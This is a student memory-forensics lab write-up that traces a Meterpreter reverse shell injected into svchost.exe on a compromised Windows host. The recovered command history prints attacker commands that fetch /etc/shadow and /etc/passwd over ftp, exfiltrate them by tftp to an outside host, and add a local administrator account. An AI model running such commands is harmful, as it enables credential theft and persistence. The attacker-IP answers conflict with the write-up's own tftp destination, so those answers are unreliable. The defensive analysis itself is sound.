HEIG-VD

Data Exfiltration

Using a meterpreter reverse shell

Reflective Injection

Auteurs
Bailat Joachim
Maier Damien

Professeur
Ramos Ruan

28-05-2023

Table of Content

1 Writeup

Using plugins `cmdscan` and `consoles` we found evidence of an attacker trying to create a new user and add it to the local administrators group. The attacker also tried to exfiltrate the `shadow` and `passwd` files using `ftp` and `tftp` commands.

These commands were run by a child of `csrss.exe` (Pid 684), here is an extract of these commands (mix of `cmdscan` and `consoles`) :

```
**************************************************
CommandProcess: csrss.exe Pid: 684
CommandHistory: 0x10986f8 Application: cmd.exe Flags: Allocated, Reset
**************************************************
cd C:\
mkdir system32
cd system32
ftp 192.168.174.128

Connected to 192.168.174.128.
220 ProFTPD 1.3.4a Server (Debian) [::ffff:192.168.174.128]
User (192.168.174.128:(none)): root
331 Password required for root
Password:
230 User root logged in
ftp> get /etc/shadow
200 PORT command successful
150 Opening ASCII mode data connection for /etc/shadow (866 bytes)
226 Transfer complete
ftp: 891 bytes received in 0.02Seconds 55.69Kbytes/sec.
ftp> get /etc/passwd
200 PORT command successful
150 Opening ASCII mode data connection for /etc/passwd (1033 bytes)
226 Transfer complete
ftp: 1058 bytes received in 0.00Seconds 1058000.00Kbytes/sec.
ftp> quit
221 Goodbye.

tftp 192.168.1.104 put shadow
Transfer successful: 891 bytes in 1 second, 891 bytes/s

tftp 192.168.1.104 put passwd
Transfer successful: 1058 bytes in 1 second, 1058 bytes/s

net user admin * /add
Type a password for the user:
Retype the password to confirm:
The command completed successfully.

net localgroup Administrators admin /add
The command completed successfully.
```

Using `pstree` we can see that a `cmd.exe` is running as a child of `svchost.exe` (Pid 1136) which is a child of our `csrss.exe` (Pid 684).

```
Name                                 Pid   PPid   Thds   Hnds
---------------------------------- ------ ------ ------ ------
.. 0x89953020:csrss.exe               684    620     11    409
.. 0x8969f020:winlogon.exe            708    620     22    522
... 0x8998b680:wpabaln.exe           1428    708      1     58
... 0x8994dca8:services.exe           752    708     16    268
.... 0x895213c0:svchost.exe           132    752      6     88
.... 0x8989a980:vmtoolsd.exe          272    752      8    268
.... 0x8994f458:vmacthlp.exe          924    752      1     25
.... 0x899a1a00:svchost.exe          1184    752      6     70
.... 0x89b60998:svchost.exe          1284    752     14    195
.... 0x896a1b10:svchost.exe           936    752     19    202
.... 0x895e9618:svchost.exe           996    752     10    238
.... 0x89679608:alg.exe              1768    752      6    101
.... 0x89a54650:spoolsv.exe          1644    752     14    145
.... 0x89a90da0:svchost.exe          1136    752     68   4423
..... 0x89985c08:wscntfy.exe         1588   1136      1     28
..... 0x8950a020:cmd.exe              440   1136      1     33
..... 0x8992fb08:wmiadap.exe          364   1136      5    172
```

So now the `svchost.exe` (Pid 1136) is suspicious, let's have a look at it.

Looking at the network connections using `sockets` we can see that the `svchost.exe` (Pid 1136) is actively listening on all interfaces on port 4444.

```

Offset(V)       PID   Port  Proto Protocol        Address
---------- -------- ------ ------ --------------- ---------------
0x896b87c0     1136    123     17 UDP             192.168.174.148
0x896e36d8     1136    123     17 UDP             127.0.0.1
0x898ad978     1136   4444      6 TCP             0.0.0.0
```

Knowing that 4444 is a common port used by `msf` (metasploit) we can assume that this process is a even more malicious.

From now we can assume that it is most likely a reverse shell, so we can use `connections` to see if there is any active connection…

Here you go…

```
Offset(V)  Local Address             Remote Address       Pid
---------- ------------------------ -------------------- ---
0x8966bd30 192.168.174.148:4444     192.168.174.1:58719  1136
```

So we can assume that the attacker is using a reverse shell to connect to the machine.

The attacker is most likely using `msf` (metasploit) to get a reverse shell, so we can assume that the attacker is using a `meterpreter` shell.

After quick research about how `meterpreter` works, we found out that "Meterpreter is an advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime." https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/

Let's use `malfind` to explore the potential strange VADS in here.

Hooray ! We found something interesting…

```
Process: svchost.exe Pid: 1136 Address: 0x2df0000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 109, MemCommit: 1, PrivateMemory: 1, Protection: 6

4d 5a e8 00 00 00 00 5b 52 45 55 89 e5 81 c3 89   MZ.....[REU.....
0e 00 00 ff d3 89 c3 57 68 04 00 00 00 50 ff d0   .......Wh....P..
68 e0 1d 2a 0a 68 05 00 00 00 50 ff d3 00 00 00   h..*.h....P.....
00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00   ................
```

Based on the criteria seen in class :

- Full commited page ✓
- RWX page ✓
- Private memory ✓
- No mapped file (VadS) ✓
- MZ header ✓

So `svchost.exe` (Pid 1136) is no more a suspicious process, it is most likely a malicious one.

We dumped the injected exectuable at `0x2df0000`, we ran `strings` on it and we found out that it is really a `meterpreter` shell :

here's an extract of some strings that "proves" that it is a `meterpreter` shell :

- `ReflectiveLoader` -> as described in https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/ the stager uses ReflectiveLoader to load the DLL into memory.
- ImpersonateLoggedOnUser -> this is a typical function used by `meterpreter` to impersonate the user.

In short, the attacker used `metasploit` to get a `meterpreter` reverse shell, the process where it has been injected is `svchost.exe` (Pid 1136).

The attacker then ran a `cmd` from there, he connected himself as root via `ftp` to a remote machine (192.168.174.128) where he downloaded `shadow` and `passwd` to the infected machine (192.168.174.148). He then used `tftp` to exfiltrate the files to his machine (192.168.1.104).

He then created an `admin` account to achieve persistence on the machine (he can now on connect himself with the `admin` account)

2 Questions

2.1 What tool was used to compromise the system?

The attacker used `metasploit` to get a `meterpreter` reverse shell on the victim machine (192.168.174.148)

2.2 What was the IP address of the attacker's machine?

The attacker's machine IP address is `192.168.174.1` (the attacker exfiltrate data to this machine + the attacker connected himself to the victim machine via this IP address)

2.3 What directory was created to store the files before exfiltration?

The attacker created a directory called `system32` in the `C:\` directory.

2.4 Where was data exfiltrated from?

The attacker exfiltrated data from a Debian `ftp` server running on (192.168.174.128)

2.5 How was exfiltration performed?

From the infected machine, he connected himself to the `ftp` server via `ftp` and downloaded the `shadow` and `passwd` files to the infected machine. He then used `tftp` to exfiltrate the files to his machine (192.168.174.1)

2.6 How was persistence maintained?

The attacker created an `admin` account to achieve persistence on the machine (he can now on connect himself with the `admin` account)